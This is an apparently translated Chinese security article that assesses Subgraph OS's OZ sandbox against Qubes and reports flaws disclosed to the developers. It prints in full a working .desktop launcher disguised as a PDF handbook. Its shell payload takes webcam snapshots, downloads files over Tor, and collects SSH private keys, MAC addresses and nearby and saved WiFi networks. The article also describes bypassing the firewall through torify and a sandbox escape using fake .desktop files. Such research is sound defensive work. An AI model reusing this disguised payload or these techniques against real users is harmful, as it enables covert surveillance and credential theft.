Subgraph操作系统是目前第一款为GNU/Linux桌面安全而打造的操作系统,Subgraph OS可以帮助用户应对网络风险异常行为,并满足用户的安全需求,其防御措施主要是深度防御策略,来帮助用户抵御网络攻击。同时Subgraph操作系统集成了很多安全特性,包括:
1.使用OZ沙盒技术做了沙盒隔离;
2.集成了Tor浏览器以及OpenPGP邮件加密;
3.使用PaX/Grsecurity进行了内核加固;
4.使用GNOME3桌面环境等;
Subgraph OS运行的硬件需求:
1.64位机(酷睿2或以上);
2.2GB的内存(4GB推荐);
3.至少20G的硬盘空间;
下载时需要下载三个文件:镜像文件、shasum、GPG操作-签名验证。
Subgraph发布了用户手册“Subgraph OS Handbook”,大家可以在GitHub上找到其代码。我们制作了一个假的网站链接,下载这个git仓库,压缩成zip文件。不过在现实攻击环境下,攻击者可能会使用不同的诱饵,也许攻击者会向受害者发送一些含有恶意程序的文件,但关键是受害者要从网站下载这些诱饵文件,或者受害者从他们的电子邮件中下载这些诱饵文件,然后打开它们。虽然Subgraph操作系统,其核心内核和OZ沙盒技术都可以防止恶意文件攻击用户的计算机,但在这种情况下,却起不到保护作用。
我们已向Subgraph开发人员汇报了我们发现的漏洞,并提出在发布这篇文章之前给他们时间来解决问题。但得到的答案很令人惊讶,Subgraph的开发人员说这个漏洞存在并没有什么令人惊讶的,他们表示目前Subgraph操作系统仍然是alpha,而且他们不建议人们使用它。
从下面的下载图中就可以看到alpha的影子:
这很有趣,因为Subgraph的官网上似乎并没有包含这个警告,而是只列举了Subgraph令人惊艳的安全功能的列表。
截止我们发稿时,这个问题还没有得到解决,Subgraph操作系统仍然是Alpha,不过在一般情况下,它仍比许多目前发行的其他Linux版更安全,不过,我们刚刚所描述的那漏洞也适用于Tails,Debian,Ubuntu,Fedora,Arch等(除了Qubes之外)。Qubes是由著名的波兰美女黑客Joanna Rutkowska发布的一个基于Xen和Linux的开源操作系统。Qubes充分利用了虚拟化技术(基于安全虚拟机Xen),所有用户应用程序都运行在AppVM(基于Linux的轻量级虚拟机)中,彼此隔离。而联网代码使用 IOMMU/VT-d放在一个非特权虚拟机中,在特权域 (dom0) 中没有任何联网代码。许多系统级组件放在沙盒中,以避免互相影响。
OZ沙盒技术的工作原理
OZ系统是通过把Linux的桌面程序运行在隔离的安全沙盒中来保护程序的安全,从而避免攻击者可以轻易的利用应用程序的漏洞进一步攻击系统。
任何大型复杂的桌面程序都无法保证完全没有安全漏洞的存在,只要软件可以处理不可信的或者恶意的数据,那么这个程序可能就会成为攻击者的目标。
连接到网络服务中的应用通过网络协议从网络中获取数据,无意间就很可能暴露在恶意数据中。
比如以下3类应用就很容易暴露在恶意数据中:
1.浏览器
2.邮件客户端
3.即时通讯软件
即使一款应用从不连接网络,只要它处理了来自不可信源的数据,就有可能被攻击,例如:
1.文档阅读器
2.视频播放软件
3.文件管理软件
在一个系统中,尤其是单用户系统,应用被破坏是一个极大的问题。如果攻击者想要监视一个目标并且获取到他的数据,进一步获取到目标终端的用户权限,这些漏洞足够达到这样的目的。而通过这些,攻击者将能够获取到数据,获取到登录其他系统的证书以及本地加密密钥,而如果是一个现代化的操作系统和外围硬件中,那么情况就更可怕了。
Subgraph带有22个应用程序的沙盒,例如Tor Browser,OnionShare,Evince(inux命令模式下查看pdf文件需要借助evince命令),GNOME眼睛(图像查看器),Icedove(电子邮件客户端)和VLC(媒体播放器)。如果大家运行的程序没有使用OZ沙盒技术,如Nautilus,内置文件管理器,或任何不属于22个程序中的任何一个,那么恶意攻击者就将运行unsandboxed,访问所有用户数据。
如果用户打开利用Evince命令执行恶意的PDF,则OZ沙盒技术将限制攻击者即将执行的操作。因为OZ沙盒技术阻止了互联网接入,所以攻击者就不能进行远程操作。也就是说,OZ沙盒技术限制了Linux系统可以调用的能力,限制其对文件系统的访问。在正常的Linux计算机上,如果攻击者攻击Evince,他们可以访问系统的主目录中的所有用户数据,比如文档,电子邮件,PGP和SSH密钥等,但Evince 中的OZ沙盒技术则可以防止攻击者访问除了用户当前打开的文档之外的任何文档。
OZ沙盒技术看起来似乎无比安全,但我们还是发现一些信息泄漏。我们发现/ etc是可读的,因为OZ沙盒技术在文件系统的操作中会捆绑安装/bin/lib/lib64/usr/etc。
mount("/bin", "/srv/OZ/rootfs/bin", "", MS_BIND, "") mount("", "/srv/OZ/rootfs/bin", "", MS_REMOUNT | MS_RDONLY) // repeat for remaining directories
所以如果我们运行ls/etc/networkManager/system-connections,可以看到计算机保存的WiFi网络的列表,甚至在沙盒内也能看到。在允许互联网访问的OZ沙盒中,如Tor浏览器,这些信息可能会发送回攻击者,因为这些信息里也可能存在其他诱导性的数据。当我们向Subgraph的开发者报告这个问题时,Subgraph开发者表示他们已经注意到我们以前提交过的关于github的问题,他们表示他们正在考虑如何修复这个问题。
Subgraph的OZ沙盒技术中的漏洞
OZ沙盒类似于macOS的应用程序沙盒,能锁定特定应用程序即将执行的操作,以便提前对被黑客攻击的这些应用程序进行防护。虽然OZ沙盒技术非常具有创造性,但对于端点安全的解决方案来说,还是非常的不令人满意。
一方面,我们在Subgraph中运行的大多数程序都没有沙盒。 GNOME的大部分都不是,图形文件管理器Nautilus不是,终端应用程序也不是。如果攻击者可以欺骗用户在Nautilus或终端中运行一个unsandboxed的脚本,那沙盒防护就算失败了。如果用户安装了没有OZ配置文件的定制软件,攻击者利用这个软件,也会让沙盒防护失败。
在Subgraph 操作系统中获得未分配的远程代码执行的攻击者可以有很多访问权限,他们可以看到并渗透所有用户的数据,比如,PGP密钥,SSH密钥,存储的电子邮件,文档,密码数据库等。他们可以从麦克风收听并通过网络摄像头监控用户,他们可以查看学习网络接口的MAC地址,并且可以看到附近的WiFi接入点和蓝牙设备,可以用来对用户进行匿名化攻击,从而在目标用户的计算机上安装一个持久的后门。
另一方面,就像在Qubes中一样,OZ沙盒没有办法区分用户的计算机的不同部分分别起到什么作用。因为用户不能使用单独的沙盒来处理某些不受信任的文档或者让某些隐私更安全或者在线管理不同的匿名身份。Subgraph 操作系统中的所有数据在某些时候都有可能被未经封装的程序访问。
就拿Qubes举个简单的例子吧,Qubes充分利用了虚拟化技术(基于安全虚拟机Xen),所有用户应用程序都运行在AppVM(基于Linux的轻量级虚拟机)中,彼此隔离。而联网代码使用IOMMU/VT-d放在一个非特权虚拟机中,在特权域 (dom0) 中没有任何联网代码。许多系统级组件放在沙盒中,以避免互相影响。
用.desktop文件侵入免费桌面工具
在免费的桌面工具中,应用程序启动器都是.desktop文件。用户的Linux box上的每个GUI应用程序都有一个桌面文件,只需检查 /usr/share/applications
。如果我们正在创建自定义应用程序启动器,那就要在.desktop文件中指定应用程序的名称,图标以及执行应用程序时要运行的内容。
如果打开Nautilus并浏览到其中包含.desktop文件的文件夹,则可以以两种方式显示:
1.如果文件不可执行,则Nautilus就不会信任它,并显示完整的原始文件名,包括.desktop扩展名和默认图标。
2.如果文件是可执行的,则Nautilus就会信任它,并显示文件中指定的任何名称和图标。这就是为什么我们构建的漏洞会被压缩,所以我们可以确保我们的恶意的.desktop文件是可执行的。
值得注意的是,这是Nautilus的一个巨大的安全漏洞。使用Nautilus的所有Linux用户,包括使用GNOME,Unity,Cinnamon的所有用户都容易受到欺骗。这个错误已经在1月份被报告给Nautilus,现在已经解决了,大家可以注意一下,现在会弹出一个警告,询问你是否在执行桌面启动器之前信任桌面启动器的源代码。
目前Debian Stretch 3.22.3,Fedora 25 3.22.2,Ubuntu 16.10 3.20.3,Ubuntu 17.04 3.20.4中都存在这些问题。Subgraph开发者指出了这个最近的github问题,表明他们也考虑过这个问题。他们还表示,他们正在计划审核Nautilus源代码。
我们创建的一个名为sgos_handbook.pdf.desktop漏洞的文件,其实我们还可以将其命名为malware.desktop,使它在Nautilus中看起来和其他漏洞文件。该名称设置为sgos_handbook.pdf,图标是gnome-mime-application-pdf,它是Subgraph中PDF的默认图标 ,这两个文件标识,可以让我们以为这个漏洞文件就是运行在Nautilus的真正的PDF文件。此外,请注意,这个伪装的PDF文件在运行时被设置为执行恶意shell脚本:
#!/usr/bin/env xdg-open [Desktop Entry] Encoding=UTF-8 Name=sgos_handbook.pdf Exec=sh -c 'ROOT=$(dirname $(dirname $(find $HOME -type f -name sgos_handbook.pdf.desktop)) |head -n1); evince $ROOT/static/sgos_handbook.pdf; mkdir $HOME/.config/tools; cd $HOME/.config/tools; torify apt download fswebcam; dpkg-deb -xv `ls fswebcam_*.deb` .; ./usr/bin/fswebcam -r 640x480 $HOME/webcam-snapshot.jpg; torify wget https://static.wixstatic.com/media/6a4a49_4e03bc224328475ea2e20dddaf9d0fda~mv2_d_2121_1414_s_2.jpg -O $HOME/attacker-can-drop-files-from-the-internet.jpg; echo "ifconfig output:" >> $HOME/pwnlog.txt; /sbin/ifconfig >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "tor exit node info:" >> $HOME/pwnlog.txt; torify curl https://ifconfig.co/json >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "ssh public and secret keys:" >> $HOME/pwnlog.txt; cat $HOME/.ssh/id_rsa.pub >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; cat $HOME/.ssh/id_rsa >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "nearby wifi:" >> $HOME/pwnlog.txt; /sbin/iwlist $INTERFACE scan >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo "saved wifi networks:" >> $HOME/pwnlog.txt; ls /etc/NetworkManager/system-connections >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt;' Terminal=false Type=Application Icon=gnome-mime-application-pdf
这是一个更加人性化并且具备了评论功能的有效载荷:
#!/bin/sh # Find the location of the extracted sgos_handbook folder ROOT=$(dirname $(dirname $(find $HOME -type f -name sgos_handbook.pdf.desktop)) |head -n1); # Open the actual PDF in an oz sandbox evince $ROOT/static/sgos_handbook.pdf; # Take a snapshot from the webcam mkdir $HOME/.config/tools; cd $HOME/.config/tools; torify apt download fswebcam; dpkg-deb -xv `ls fswebcam_*.deb` .; ./usr/bin/fswebcam -r 640x480 $HOME/webcam-snapshot.jpg; # Download an image to the home directory torify wget https://static.wixstatic.com/media/6a4a49_4e03bc224328475ea2e20dddaf9d0fda~mv2_d_2121_1414_s_2.jpg -O $HOME/attacker-can-drop-files-from-the-internet.jpg; # Log the ifconfig output, which includes the MAC address echo "ifconfig output:" >> $HOME/pwnlog.txt; /sbin/ifconfig >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; # Log information about the current Tor exit node echo "tor exit node info:" >> $HOME/pwnlog.txt; torify curl https://ifconfig.co/json >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; # Log SSH public and secret key echo "ssh public and secret keys:" >> $HOME/pwnlog.txt; cat $HOME/.ssh/id_rsa.pub >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; cat $HOME/.ssh/id_rsa >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; # Log scan of nearby wifi networks echo "nearby wifi:" >> $HOME/pwnlog.txt; /sbin/iwlist $INTERFACE scan >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt; # Log list of saved wifi networks echo "saved wifi networks:" >> $HOME/pwnlog.txt; ls /etc/NetworkManager/system-connections >> $HOME/pwnlog.txt; echo >> $HOME/pwnlog.txt;
使用.desktop文件攻击沙盒
当我们在Subgraph操作系统中打开PDF时,.desktop文件会打开一个Evince OZ沙盒,只能访问该文档。但是,一些沙盒可以让.desktop文件对整个文件夹进行写入访问。例如,Tor浏览器沙盒可以读写 ~/Downloads/TorBrowser
,而LibreOffice沙盒可以读写~/Documents/LibreOffice。
也就是说,如果.desktop文件可以通过使用Tor浏览器或LibreOffice漏洞利用这些沙盒来实现沙盒远程执行代码,那么也就可以通过修改这些目录中的文件来升级特权获取未分配的远程代码执行。
例如,.desktop文件会伪装成正常Word文档,诱骗用户下载恶意程序,并在Nautilus中打开它。 Subgraph操作系统将打开一个LibreOffice OZ沙盒,并让它访问该文档,比如 ~/Downloads/TorBrowser/resume.docx
。
恶意的resume.docx的有效内容可能会将draft-proposal.odt重命名为其他文件,例如也许将会将其改为.DS_Store之类隐藏文件,然后创建一个新的文件draft-proposal.odt.desktop并使其成为可执行文件。接着,当用户双击Nautilus中的draft-proposal.odt文件时(~/Documents/LibreOffice/draft-proposal.odt都是合法的文件),攻击者就会从沙盒中逃逸出去。因为有效载荷可以在自身安装完成之后进行自我清理,在安装后门程序之后移动.DS_Store恢复到draft-proprosal.odt并删除draft-proposal.odt.desktop。
绕过Subgraph防火墙
Subgraph防火墙的防护效果非常好,它是一个应用程序防火墙,允许用户逐个批准或拒绝网络连接。正如我们在上文中所讲的,当我们打开GNOME Calculator应用程序时,它尝试进行网络连接,但是Subgraph防火墙会拦截这些连接,并允许我们拒绝它们的访问。
但是,由于Subgraph防火墙允许所有Tor流量通过,例如,如果我们打开一个终端并运行curl example.com,防火墙将拦截此连接,并提供拒绝该连接的选项。
但是如果你运行torify curl example.com,它就会正常运行。如果我们检查上面的有效载荷,就将看到我们使用的所有互联网请求都绕过了防火墙。
当我们把这个问题报告给Subgraph的开发者时,他们表示Subgraph防火墙不是为了防止恶意软件进行网络连接,而只是为了防止意外的隐私泄露,例如使用计算器时。所以他们不认为这是一个非常特别的安全问题。
我们可以在当他们的官网上看到对Subgraph防火墙的介绍,他们忽略了这个问题:
但是,它们在“Subgraph操作系统手册”中提到,但也只是模棱两可的表示了一下。
应用程序防火墙对于监控来自应用程序的额外连接非常有用,例如,一些应用程序可能会在供应商的网站上返回,这种活动通常是合法的(非恶意的),但它仍然可能违反用户的隐私或者软件运行的正常逻辑,而Subgraph 防火墙就为用户提供了允许或拒绝这些连接的选择。
另外,恶意代码也可能会回到由黑客或恶意代码开发者操控的网站或服务器。Subgraph防火墙还可以提醒用户这些连接,以便用户可以把这些链接拒绝掉。
应用防火墙无法防止所有恶意代码连接到互联网,复杂的恶意代码可以修改合法的网络连接以绕过防火墙。但是,防火墙可能会检测到这些恶意代码的篡改行为,从而提醒用户是否进行连接尝试。
Subgraph的开发者表示,他们将来可能会扩大防火墙的范围,其中就包括允许Subgraph防火墙拦截Tor流量,以便让让用户拒绝它。
Subgraph上的漏洞是如何影响到Qubes的?
Qubes是灵活的,所以攻击成功多少取决于用户的选择。
当然,如果你不想如此深入地探究安装的Linux,可以改而选择一种关注安全的发行版。
如果你的系统至少有8GB内存,那么Qubes 操作系统可能是合适的发行版。Qubes 操作系统不仅让你可以在不同的安全级别的情况下运行,还可以将工具直接放入到桌面环境的菜单中。
不然,倾向于无政府语义的MOFO Linux更可能是你需要的,或者是仍在改善之中的Subgraph操作系统。
如果你连发行版都不想选择,那该怎么办?那么至少应该安装Firejail。Firejail在沙盒里面运行程序,将程序隔离开来,尽量减少可能出现的危害。它安装时随带针对常见桌面应用程序的几十种配置文件,还有面向其他一切的通用配置文件。你只要在命令前面加上firejail,调整菜单项和桌面启动器就行了。
假如你使用的是Subgraph操作系统,在最坏的情况下,Subgraph操作系统漏洞的利用者将会窃取用户的权限打开其中的沙盒,即Qubes lingo中的AppVM。这可能由于用户的AppVM中包含了很多隐私数据,Qubes 充分利用了基于安全虚拟机 Xen的虚拟化技术, 所有用户应用程序都运行在 基于 Linux 的轻量级虚拟机的AppVM 中, 彼此隔离。
另外还有一个AppVM浏览器,它只是一个网络浏览器配置文件,或者它可能是一个Whonix AppVM,Qubes支持Whonix,Whonix是另一款基于Linux(Debian)的安全操作系统;它可以在用户访问互联网的同时,保证用户的隐私和数据安全,并且还可以保证用户的匿名性。
由于所有的互联网流量都被迫通过Tor,所以在这些情况下,攻击者就将被困在沙盒中,无法破坏其他AppVM。另外,攻击者也无法查询硬件,他们也无法检测网络接口的MAC地址,或者看到附近的WiFi接入点或蓝牙设备,或者类似的连接信息,他们也将无法访问麦克风或网络摄像头。
然而,一些Qubes用户还是有防护办法的,如果用户右键点击了伪装的PDF .desktop并选择“打开DisposableVM”,则攻击者的执行就将被打断。 DisposableVM基本上是一次性使用的沙盒,它的工作原理是这样的:它会先创建一个新的沙盒,将文件复制到其中,比如将恶意PDF .desktop文件复制到其中,文件被打开后,运行完毕,整个沙盒就被删除。我刚刚已经测试过这个了,对我们来说,sgos_handbook.pdf.desktop实际上只是在Atom中打开,我们已经安装了一个文本编辑器。
即使恶意文件的有效载荷能够执行,例如,如果有效载荷实际上是利用Evince而不是.desktop文件的恶意PDF,那么它将无法访问任何用户数据。如果DisposableVM具有互联网访问(取决于用户的设置)的权限,那有效载荷就可能返回,但除了把攻击者困在DisposableVM之外,效载荷的返回并不能告诉攻击者任何有用的信息,可以肯定恶意载荷不会利用用户的网络摄像头进行偷拍,利用麦克风录制声音或安装任何持久的恶意软件。一旦程序关闭,整个沙盒也就被删除了。
总结
许多Qubes与Subgraph操作系统的讨论都集中在Xen虚拟机管理程序与grsecurity / Linux容器这两种不同类型的沙盒的相对安全性上,到目前为止这两个沙盒的安全性孰强孰弱还没有定论。
但是,可以肯定的是,Qubes通过分区提供安全性,而Subgraph 的操作系统则提供了操作系统硬化和应用程序沙盒,但大家也看到了,Subgraph的OZ沙盒中也存在着漏洞。
虽然,Subgraph操作系统作为一个安全加强版的Linux发行版的尝试是令人兴奋的,但目前为止,它并不能替代由Qubes实现的分区保护方案。